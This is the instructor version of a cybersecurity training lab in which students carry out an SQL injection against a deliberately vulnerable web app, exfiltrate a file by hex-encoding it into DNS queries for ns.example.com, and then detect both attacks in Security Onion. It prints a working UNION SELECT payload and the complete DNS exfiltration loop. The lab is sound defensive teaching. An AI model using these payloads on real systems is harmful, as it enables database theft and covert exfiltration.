Lab – Interpret HTTP and DNS Data to Isolate Threat Actor (Instructor Version)



In this lab, you will review logs during an exploitation of documented HTTP and DNS vulnerabilities.

  • Part 1: Prepare the Virtual Environment
  • Part 2: Investigate an SQL Injection Attack
  • Part 3: Data Exfiltration Using DNS

Background / Scenario

MySQL is a popular database used by numerous web applications. Unfortunately, SQL injection is a common web hacking technique. It is a code injection technique where an attacker executes malicious SQL statements to control a web application’s database server.

Domain name servers (DNS) are directories of domain names, and they translate the domain names into IP addresses. This service can be used to exfiltrate data.

In this lab, you will perform an SQL injection to access the SQL database on the server. You will also use the DNS service to facilitate data exfiltration.

Required Resources

  • Host computer with at least 8GB of RAM and 40GB of free disk space
  • Latest version of Oracle VirtualBox
  • Internet connection
  • Four virtual machines:
Virtual Machine RAM Disk Space Username Password
CyberOps Workstation VM 1GB 7GB analyst cyberops
Kali 1GB 10GB root cyberops
Metasploitable 512KB 8GB msfadmin msfadmin
Security Onion 3 GB 10GB analyst cyberops

Part 1: Prepare the Virtual Environment

a. Launch Oracle VirtualBox.

b. In the CyberOps Workstation window, verify that CyberOps Workstation has the correct network settings. If necessary, select Machine > Settings > Network. Under Attached To, select Internal Network. In the Name dropdown menu, select inside, then click OK.

c. Start the CyberOps Workstation, Kali, Metasploitable, and Security Onion virtual machines by selecting each one of them and clicking the Start button. The Start button is located in VirtualBox’s Toolbar.

d. Log into the CyberOps Workstation virtual machine, open a terminal and configure the network by executing the configure_as_static.sh script.

Because the script requires super-user privileges, provide the password for the user analyst.

[email protected] ~]$ sudo ./lab.support.files/scripts/configure_as_static.sh 
[sudo] password for analyst: 
Configuring the NIC as: 

IP Configuration successful. 

[[email protected] ~]$

e. Log into the Security Onion VM. Right-click the Desktop > Open Terminal Here. Enter sudo service nsm status command to verify that all the servers and sensors are ready. This process could take a few moments. Repeat the command as necessary until all the status for all the servers and sensors are OK before moving onto the next part.

[email protected]:~/Desktop$ sudo service nsm status 
Status: securityonion
  * sguil server                                                       [  OK  ] 
Status: HIDS
  * ossec_agent (sguil)                                                [  OK  ] 
Status: Bro 
Name         Type    Host             Status    Pid    Started 
manager      manager localhost        running   5577   26 Jun  10:04:27 
proxy        proxy   localhost        running   5772   26 Jun  10:04:29 
seconion-eth0-1 worker  localhost        running   6245   26 Jun  10:04:33 
seconion-eth1-1 worker  localhost        running   6247   26 Jun  10:04:33 
seconion-eth2-1 worker  localhost        running   6246   26 Jun  10:04:33 
Status: seconion-eth0
  * netsniff-ng (full packet data)                                     [  OK  ]
  * pcap_agent (sguil)                                                 [  OK  ]
  * snort_agent-1 (sguil)                                              [  OK  ]
  * snort-1 (alert data)                                               [  OK  ]
  * barnyard2-1 (spooler, unified2 format)                             [  OK  ] 
<output omitted>

Part 2: Investigate an SQL Injection Attack

In this part, you will perform an SQL injection to access credit card information that is stored on web server. The Metasploitable VM is functioning as a web server configured with a MySQL database.

Step 1: Perform an SQL injection.

a. Log into Kali VM using the username root and password cyberops.

b. In the Kali VM, click the Firefox ESR icon ( ) to open a new web browser.

c. Navigate to Click Mutillidae to access a vulnerable web site.

d. Click OWASP Top 10 > A1 – Injection > SQLi – Extract Data > User Info.

e. Right-click in the Name field and select Inspect Element (Q).

f. In the Username field, double-click the 20 and change it to 100 so you can view the longer string as you enter the query into Name field. Close the Inspect Element when finished.

g. Enter ‘ union select ccid,ccnumber,ccv,expiration,null from credit_cards — in the Name field. Click View Account Details to extract the credit card information from the credit_cards table in owasp10 mysql database.

Note: There is a single quote ( ‘ ), followed by a space at the beginning of the string. There is a space after — at the end of the string.

h. Scroll down the page for the results. The result indicates that you have successfully extracted the credit card information from the database by using SQL injection. This information should only be available to authorized users.

Step 2: Review the Sguil logs.

a. Navigate to the Security Onion VM. Double-click the Sguil icon on the Desktop. Enter the username analyst and password cyberops when prompted.

b. Click Select All to monitor all the networks. Click Start SGUIL to continue.

c. In the Sguil console, in the bottom-right window, click Show Packet Data and Show Rule to view the details of a selected alert.

d. Search for alerts related to ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT. Select the alerts that start with 7. These alerts are related to seconion-eth2-1, and they are probably the most recent alerts. Because Sguil displays real time events, the Date/Time in the screenshot is for reference only. You should note the Date/Time of the selected alert.

e. Right-click the number under the CNT heading for the selected alert to view all the related alerts. Select View Correlated Events.

f. Right-click an Alert ID in the results. Select Transcript to view the details for this alert.

Note: If you mistyped the user information in the previous step, you should use the last alert in the list.

g. In this window, you can see that the GET statement using the UNION operator was used to access the credit card information. If you do not see this information, try right-clicking another of the correlated events.

Note: If you entered the injection script more than once because of a typo or some other reason, it may be helpful to sort the Date/Time column and view the most recent alert.

What information can you gather from the Transcript window?
The Transcript window displays the transaction between the source and the destination The transcript indicates is trying to access credit card information using a SQL UNION operator. The transcript for the web server at shows the HTML content that was displayed to the attacker.

h. You can also determine the information retrieved by the attacker. Click Search and enter username in the Find: field. Use the Find button to locate the information that was captured. The same credit card information may be displayed differently than the figure below.

Note: If you are unable to locate the stolen credit card information, you may need to view the transcript in another alert.

Compare the credit card information from the transcript window and the content extracted by the SQL injection attack. What is your conclusion?
The credit card information is the same because the transcript shows all the content transmitted between the source and destination.

i. Close the windows when finished.

j. Return to the Sguil window, right-click the same Alert ID that contains the exfiltrated credit card information and select Wireshark.

k. Right-click on a TCP packet and select Follow TCP Stream.

l. The GET request and the exfiltrated data are displayed in the TCP stream window. Your output may be different than the figure below, but it should contain the same credit card information as your transcript above.

m. At this time, you could save the Wireshark data by clicking Save As in the TCP stream window. You can also save the Wireshark pcap file. You can also document the source and destination IP addresses and ports, time of incident, and protocol used for further analysis by a Tier 2 analyst.

n. Close or minimize Wireshark and Squil.

Step 3: Review the ELSA logs.

The ELSA logs can also provide similar information.

a. While in the Security Onion VM, start ELSA from the Desktop. If you receive the message “Your connection is not private”, click ADVANCED to continue.

b. Click Proceed to localhost (unsafe) to continue to the localhost.

c. Log in with the username analyst and password cyberops.

d. In the left panel, select HTTP > Top Potential SQL Injection. Select

e. Click Info on the last entry. This information is related the successful SQL injection. Notice the union query that was used during the attack.

f. Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit if necessary. CapMe is a web interface that allows you to get a pcap transcript and download the pcap.

g. The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file. You can also search for the username information. Type Ctrl + F to open Find… dialog box. Enter username in the field. You should be able to locate the credit card information that were displayed during the SQL injection exploit.

Part 3: Data Exfiltration Using DNS

The CyberOps Workstation VM contains a file named confidential.txt in the /home/analyst/lab.support.files directory. An attacker on the Kali VM will use DNS to exfiltrate the file content from the CyberOps Workstation. The attacker has gained access to the CyberOps Workstation and Metasploitable virtual machines. The Metasploitable virtual machine is configured as a DNS server.

Step 1: Convert a text file to a hexadecimal file.

a. On the CyberOps Workstation, navigate to /home/analyst/lab.support.files/. Verify that the confidential.txt file is in the directory.

b. Display the content of the confidential.txt file using the more command.

c. The xxd command is used to create a hexdump or convert a hexdump back to binary. To transform the content of confidential.txt into 60-byte long hex strings and save it to confidential.hex, use the command xxd -p confidential.txt > confidential.hex.

The option -p is used to format the output in Postscript format and > is to redirect the output to confidential.hex.

Note: Use the xxd man page to learn more about all the available options for the xxd command.

[[email protected] lab.support.files]$ xxd -p confidential.txt > confidential.hex

d. Verify the content of confidential.hex.

[[email protected] lab.support.files]$ cat confidential.hex

e. Verify that CyberOps Workstation has been configured to use the local DNS resolver at Enter cat /etc/resolv.conf at the prompt.

[[email protected] lab.support.files]$ cat /etc/resolv.conf 
# Generated by resolvconf 

Step 2: Prepend the content to DNS query log.

In this step, you will run a Bash shell for loop that will iterate through each line of the confidential.hex file and add each line of the hex string to the name of target domain name server, ns.example.com. A DNS query is performed on each of these new lines and will look like the following when you are done:

666f726d6174696f6e2061626f757420746865206c617374207365637572 ns.example.com
72697479206272656163682e0a ns.example.com

Within the for loop, the cat confidential.hex command is enclosed in the backticks (`) and is executed to display the file content. Each line of hex strings in the confidential.hex file is stored temporarily in the variable line. The content in the variable line is prepended to ns.example.com in the drill command. The drill command is designed to get information out of DNS.

Note: The backtick can most often be found next to the 1 key on the keyboard. It is not the single quote character, which is straight up and down.

The command must be entered exactly as shown below at the command line. This process could take anywhere from several seconds to a few minutes. Wait for the command prompt to reappear.

[[email protected] lab.support.files]$ for line in `cat confidential.hex` ; do
drill $line.ns.example.com; done
;; ->>HEADER<<- opcode: QUERY, rcode: NXDOMAIN, id: 19375
;; flags: qr aa rd ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; 434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053.ns.example.com.IN A
example.com. 604800 IN SOA ns.example. root.example.com. 2 604800 86400
2419200 604800
;; Query time: 4 msec
;; WHEN: Wed Jun 28 14:09:24 2017
;; MSG SIZE rcvd: 144
;; ->>HEADER<<- opcode: QUERY, rcode: NXDOMAIN, id: 36116
;; flags: qr aa rd ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
<some output omitted>

Step 3: Exfiltrate the DNS query log.

At this point, the attacker on Kali can access /var/lib/bind/query.log and retrieve the data.

a. Log in to Kali, if necessary, open a Terminal, and SSH in to Metasploitable using the username user and password user. Enter yes to continue connecting to Metasploitable when prompted. The password prompt may take several seconds to a minute to appear.

[email protected]:~# ssh [email protected]
The authenticity of host ' (' can't be
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (RSA) to the list of known
[email protected]'s password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
Last login: Wed Aug 30 11:24:13 2017 from
[email protected]:~$

b. Use the following egrep command to parse the DNS query log file, /var/lib/bind/query.log. The command must be entered exactly as shown below at the command line.

[email protected]:~$ egrep -o [0-9a-f]*.ns.example.com 
/var/lib/bind/query.log | cut -d. -f1 | uniq > secret.hex
  • The egrep command is the same as grep -E command. This -E option allows the interpretation of extended regular expressions.
  • The -o option displays only matching portions.
  • The extended regular expression, [0-9a-f]]*.ns.example.com, matches portions of the query.log with zero or more occurrences of lowercase letters and numbers with ns.example.com as part of the end of the string.
  • The cut command removes a section from each line of the files. The cut -d. -f1 command uses the period (.) as the delimiter to keep only the subdomain and remove the rest of the line with the Fully Qualified Domain Name (FQDN).
  • The uniq command removes any duplicates.
  • The pipe (|) takes the output of the command to its left, which becomes the input to the command on the right of the pipe. There are two pipes in the commands.
  • Finally, the result is redirected to the secret.hex file.

c. Display the hex file using the cat command.

[email protected]:~$ cat secret.hex

The content of the file will be the same as the confidential.hex on CyberOps Workstation.

d. Exit Metasploitable SSH session.

[email protected]:~$ exit 
Connection to closed.

e. Use the secure copy (scp) command to copy the secret.hex file from Metasploitable VM to Kali VM.
Enter user as the password when prompted. This could take few minutes.

[email protected]:~# scp [email protected]:/home/user/secret.hex ~/ 
[email protected]'s password: secret.hex 100% 3944 3.1MB/s 00:00

f. Verify that the file has been copied file on the Kali VM.

g. You will reverse the hex dump to display the content of the exfiltrated file, secret.hex. The xxd command with -r -p options revert the hex dump. The result is redirected to the secret.txt file.

[email protected]:~# xxd -r -p secret.hex > secret.txt

h. Verify that the content of the secret.txt file is the same as the confidential.txt file on CyberOps Workstation VM.

[email protected]:~# cat secret.txt 
This document contains information about the last security breach.

i. You can now power down the CyberOps Workstation, Metasploitable, and Kali VMs.

Step 4: Analyze the DNS exfiltration.

In the previous steps, the attacker performed a DNS exfiltration using Linux tools. Now it is your job to extract the content of the exfiltration.

a. Log in to Security Onion, start ELSA from the Desktop. If you receive the message “Your connection is not private”, click ADVANCED to continue. Click Proceed to localhost (unsafe) to continue to the localhost. Enter username analyst and password cyberops when prompted.

b. From the ELSA queries on the left side bar, click DNS > Bottom to the left of Requests. This returns records for all the DNS requests sorted so that the least frequent appear first. Scroll down in the results to see a few queries for ns.example.com with a hex string as the first part of the subdomain name.
Typically, domain names are not 63-byte hexadecimal expressions. This could signal malicious activity because users probably cannot remember a long subdomain name with random letters and numbers.

c. Click one of the links and copy the 63-byte string prepended to ns.example.com.

d. Open a terminal window and use the echo and xxd commands to revert the hex string. The -n option prevents the output of the trailing newline.

[email protected]:~/Desktop$ echo -n 
"434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053" | xxd -r -p 
DO NOT [email protected]:~/Desktop$

If you continue to revert the hex strings, what is the result?
This document contains information about the last security breach.


Inline Feedbacks
View all comments
Would love your thoughts, please comment.x